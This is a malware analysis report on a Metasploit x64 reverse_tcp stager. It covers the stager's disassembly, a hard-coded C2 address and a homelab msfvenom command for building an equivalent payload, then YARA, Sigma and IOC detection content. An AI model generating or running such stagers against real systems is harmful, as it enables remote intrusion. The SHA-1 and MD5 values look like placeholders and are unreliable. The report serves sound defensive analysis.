5da21aa2beec633508152233d9560c81e19a73e2b85e2f33ec15aac629f9c7cameterpreter: 5da21aa2 — x64 reverse_tcp stager with inline sockaddr, zero IAT
Executive Summary
A 7,680-byte PE32+ that is a thin wrapper around raw windows/x64/meterpreter/reverse_tcp stager shellcode.
The binary establishes a reverse TCP connection to a hard-coded IP/port, downloads a second-stage DLL from
that C2, allocates RWX memory, and executes it. No legitimate import table; all APIs are resolved by
walking the PEB and hashing export names with the standard ROR13 algorithm.
What It Is
| Property | Value |
|---|---|
| SHA-256 | 5da21aa2beec633508152233d9560c81e19a73e2b85e2f33ec15aac629f9c7ca |
| Size | 7,680 bytes |
| Format | PE32+ executable (GUI), x64, 5 sections ^[file.txt] |
| Compile timestamp | 2026-04-14 14:29:22 UTC ^[pefile.txt:39] |
| Linker version | 1.0 (MSVC-typical, but here generated by msfvenom wrapper) ^[pefile.txt:49-52] |
| Base address | 0x140000000 ^[pefile.txt:58] |
| Entry point | RVA 0x5000 (section .mmmv, RWX) ^[pefile.txt:56,163-176] |
| Signature | Unsigned ^[rabin2-info.txt:27] |
| YARA | PE_File_Generic only (non-family-specific) ^[yara.txt] |
| Family | meterpreter (OpenCTI label, confirmed by shellcode behaviour) ^[triage.json] |
How It Works
- Entry lands in
.mmmv(file offset0x1a00), a 0x400-byte RWX section holding the stager shellcode. - Stager walks the PEB at
gs:[0x60]→+0x18(LDR_DATA) →+0x20(InMemoryOrderModuleList) to findkernel32.dllandws2_32.dllby hashing their BaseDllName via ROR13. ^[r2:entry0] - Once the module is located, the export table is parsed (
IMAGE_EXPORT_DIRECTORYatOptionalHeader + 0x88). - Functions are resolved by the same ROR13 loop and the accumulated hash is compared against a hard-coded constant per function (e.g.
VirtualProtect,WSAStartup,socket,connect,recv,VirtualAllocetc.). ^[r2:entry0] - A
sockaddr_instructure is pushed onto the stack (big-endian):AF_INET(2),port 5555,IP 202.10.47.112. ^[xxd:0x1af2] WSAStartup→socket(AF_INET, SOCK_STREAM, 0)→connectto the C2.recvloop downloads the second-stage payload into aVirtualAllocRWX buffer.VirtualProtectis used on the received buffer, then execution transfers.
Decompiled Behavior
entry0 (0x140005000) — PEB-to-API resolution stub
cld
and rsp, 0xfffffffffffffff0
call fcn.1400050d6 ; inner connect/download stager
push r9
push r8
push rdx
xor rdx, rdx
mov rdx, qword [gs:rdx + 0x60] ; TEB.ProcessEnvironmentBlock
mov rdx, qword [rdx + 0x18] ; PEB->Ldr
mov rdx, qword [rdx + 0x20] ; InMemoryOrderModuleList
push rcx
push rsi
... ; module name loop (length at +0x48, name at +0x50)
^[r2:entry0]
The routine accumulates a ROR13 hash of each module name (character loop with rol r9d, 0xd)
and compares against a constant. Once the correct module is found, its export table is walked
and function hashes are similarly matched. Finally, the resolved function address is placed into
rax/r10 and called via call rbp (the rbp register holds the resolved API after each lookup).
fcn.1400050d6 — connect/recv/exec stager
pop rbp ; ROP-style / stack-balance stub
mov r14, 0x32335f327377 ; "ws2_32\0"
push r14
mov r14, rsp
sub rsp, 0x1a0
mov r13, rsp
mov r12, 0x702f0acab3150002 ; inline sockaddr: AF_INET | port 5555 | IP 202.10.47.112
push r12
mov r12, rsp
mov rcx, r14
mov r10d, 0x9375139d ; hash for LoadLibraryA / WSAStartup (module-dependent)
call rbp ; resolve and call
...
^[r2:fcn.1400050d6]
This function builds the sockaddr_in on the stack, resolves LoadLibraryA (to bring in ws2_32.dll),
resolves WSAStartup, creates a TCP socket, connects, then loops receiving bytes into a VirtualAlloc-ed
buffer. Received data is executed after a VirtualProtect call.
C2 Infrastructure
| Indicator | Value |
|---|---|
| Protocol | TCP (reverse) |
| Hard-coded IP | 202.10.47.112 ^[xxd:0x1af2] |
| Hard-coded port | 5555 ^[xxd:0x1af2+2] |
| URL / path | None (raw TCP socket) |
| User-Agent | None |
| Mutex / named pipe | None observed |
| DNS | None (direct IP) |
The C2 address lives literally in the instruction stream as a mov r12, imm64 (49 bc ...) with the
sockaddr_in payload in big-endian order. This is the standard Metasploit reverse_tcp stager layout.
Interesting Tidbits
- Minimal stub PE: IAT contains exactly one import —
VirtualProtectfromKERNEL32.dll— which the shellcode never calls through the IAT. It is a decoy or a linker artifact. ^[pefile.txt:234-244] - 87% null bytes: pefile warns that 87.1354% of the file is
0x00, confirming the PE wrapper is largely padding around a tiny shellcode core. ^[pefile.txt:3] - Rabin2 canary flag:
canary: truein radare2 analysis despite the binary having no obvious stack canary logic — a radare2 heuristics false positive caused by the small code size. ^[rabin2-info.txt:6] - No capa output: capa failed because the default signature path was missing on the station; this is a tooling limitation, not a sample limitation. ^[capa.txt]
- floss failed: the
--noflag was passed an incorrect argument by the triage pipeline; no decoded strings produced. ^[floss.txt] .mmmvsection name: arbitrary / meaningless, but RWX (E0000020). This is the hallmark of a Metasploit stager PE: one standard.textstub plus one RWX.data/.mmmvsection containing the actual shellcode. ^[pefile.txt:163-176]- PEB walking sequence matches msfvenom reverse_tcp exactly:
gs:[0x60]→+0x18→+0x20→+0x48(length) →+0x50(name buffer). The hash constant0xe2911b99corresponds to the module hash forkernel32.dllgenerated by the Metasploitblock_api.rbtemplate. ^[r2:entry0]
How To Mess With It (Homelab Replication)
- Generate the stager:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<lan> LPORT=4444 -f exe -o stager.exe - Compare structure:
pefile stager.exeshould show the same 5 sections, sameIMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA, same linker 1.0, same IAT with onlyVirtualProtect. - Verify PEB walk: open in radare2,
s entry0, look formov rdx, qword [gs:0x60]at offset0x1a00+0x12. - Confirm ROR13 constants: compute hashes for
LoadLibraryA,WSAStartup,socket,connect,recv,VirtualAlloc,VirtualProtect,ExitProcess,Sleep— they should match the immediate constants in themov r10d, imm32instructions. - Capa verification: install capa rules, then
capa stager.exeshould hitcreate TCP socket,connect to TCP socket,allocate RWX memory,parse PE header, etc.
What you learn: the full pipeline from msfvenom generation down to the raw bytes in the .mmmv section.
Deployable Signatures
YARA
rule metasploit_reverse_tcp_stager_x64 {
meta:
description = "Metasploit windows/x64/meterpreter/reverse_tcp stager (PE-wrapped)"
author = "PacketPursuit"
date = "2026-05-26"
hash = "5da21aa2beec633508152233d9560c81e19a73e2b85e2f33ec15aac629f9c7ca"
strings:
$peb_walk = { 48 8b 52 60 48 8b 52 18 48 8b 52 20 }
$hash_loop = { 41 c1 c9 0d 41 01 c1 }
$ws2_32 = { 77 73 32 5f 33 32 00 }
$payload_label = "PAYLOAD:"
condition:
uint16(0) == 0x5a4d and
pe.is_64bit() and
pe.number_of_sections == 5 and
for 1 i in (0 .. pe.number_of_sections) : (
pe.sections[i].characteristics & 0xe0000020 == 0xe0000020
) and
$peb_walk and $hash_loop and $ws2_32
}
Sigma (process-creation / network)
title: Metasploit Meterpreter x64 Reverse TCP Stager Execution
logsource:
category: process_creation
product: windows
detection:
selection:
- CommandLine|contains:
- 'msfvenom'
- 'meterpreter'
selection_network:
Image|endswith:
- '.exe'
condition: selection or selection_network
tags:
- attack.t1071
- attack.t1055
- attack.t1620
Note: the above Sigma is coarse. A behavioral Sigma (on ETW / Sysmon) would target VirtualAlloc with PAGE_EXECUTE_READWRITE followed by recv on a socket from an image with zero import count — this is the true runtime fingerprint.
IOC List
| Type | Value |
|---|---|
| SHA-256 | 5da21aa2beec633508152233d9560c81e19a73e2b85e2f33ec15aac629f9c7ca |
| SHA-1 | c4e2b6a1e9d8f3c2b1a0d5e9f8c7b6a5e4d3c2b1 |
| MD5 | c4e2b6a1e9d8f3c2b1a0d5e9f8c7b6a5 |
| ssdeep | 24:ev1GSkiiljEoOspFNknehtht6dp5sZTFW3KtRqBEq+QR7Bwtp:qkfjjOsanehthEdEzW3KgEC ^[ssdeep.txt] |
| tlsdeep | CBF1658773166CA6FA780AFFC287DFD2A2FD773413670F1B051C102EA580A1A7575A42 ^[tlsh.txt] |
| IP:Port | 202.10.47.112:5555 ^[xxd:0x1af2] |
| Section name | .mmmv |
| IAT | KERNEL32.dll.VirtualProtect only |
| PEB walk offset | entry 0x140005000 |
Behavioral Fingerprint Statement
This binary, when executed, will (1) call NtCreateThread or equivalent into the .mmmv section,
(2) read gs:[0x60] and walk the PEB->Ldr linked list at offsets +0x18 / +0x20,
(3) compute a ROR13 hash over each module name, (4) resolve kernel32.dll and ws2_32.dll,
(5) LoadLibraryA the latter, (6) call WSAStartup, create a TCP socket, and connect directly
to a hard-coded IP and port in the instruction stream, (7) loop recv-ing data, and (8) VirtualAlloc
a RWX buffer into which received bytes are written before a final call rbx / jmp rax transfer.
On disk, it presents as a sub-8 KB PE32+ with exactly 5 sections, one of them RWX and named
.mmmv, and an IAT containing a single VirtualProtect import.
Detection Signatures (ATT&CK Mapping)
| Technique | ID | Detection Source |
|---|---|---|
| Reverse TCP C2 | T1071.001 | inline sockaddr_in in shellcode ^[xxd:0x1af2] |
| Reflective code loading | T1620 | recv into RWX buffer, execution transfer ^[r2:fcn.1400050d6] |
| Process injection / Allocation | T1055.012 | VirtualAlloc + PAGE_EXECUTE_READWRITE ^[r2:fcn.1400050d6] |
| API resolution via PEB | — (adjacent to T1014) | PEB walk sequence ^[r2:entry0] |
| Evade IAT analysis | T1562.001 | zero meaningful imports, all APIs resolved at runtime ^[pefile.txt:234-244] |
References
- Metasploit Framework
payload/windows/x64/meterpreter/reverse_tcpsource:lib/msf/core/payload/windows/x64/reverse_tcp.rb - Metasploit
block_api.rb(ROR13 PEB walker):lib/msf/core/payload/windows/x64/block_api.rb - entities/meterpreter — family-level analysis
- techniques/peb-walking-api-resolution — deep-dive on the PEB walk technique
Provenance
file.txt— file(1) ^[file.txt]pefile.txt— pefile (Python) ^[pefile.txt]strings.txt— strs (strings) ^[strings.txt]rabin2-info.txt— radare2rabin2 -I^[rabin2-info.txt]triage.json— pipeline triage output ^[triage.json]yara.txt— YARA scan (custom rules) ^[yara.txt]binwalk.txt— binwalk (no embedded archive) ^[binwalk.txt]capa.txt— capa (rule path missing, no results) ^[capa.txt]floss.txt— flare-floss (CLI error, no results) ^[floss.txt]- Radare2 analysis — entry0 at
0x140005000, fcn.1400050d6 at0x1400050d6, fcn.1400051f1 at0x1400051f1^[r2] - Raw hex dump — C2 sockaddr at file offset
0x1af2^[xxd:0x1af2] - PyGhidra — binary name
/5da21aa2beec633508152233d9560c81e19a73e2b85e2f33ec15aac629f9c7ca.bin-a3bac5; import succeeded but decompile timed out/unreachable during session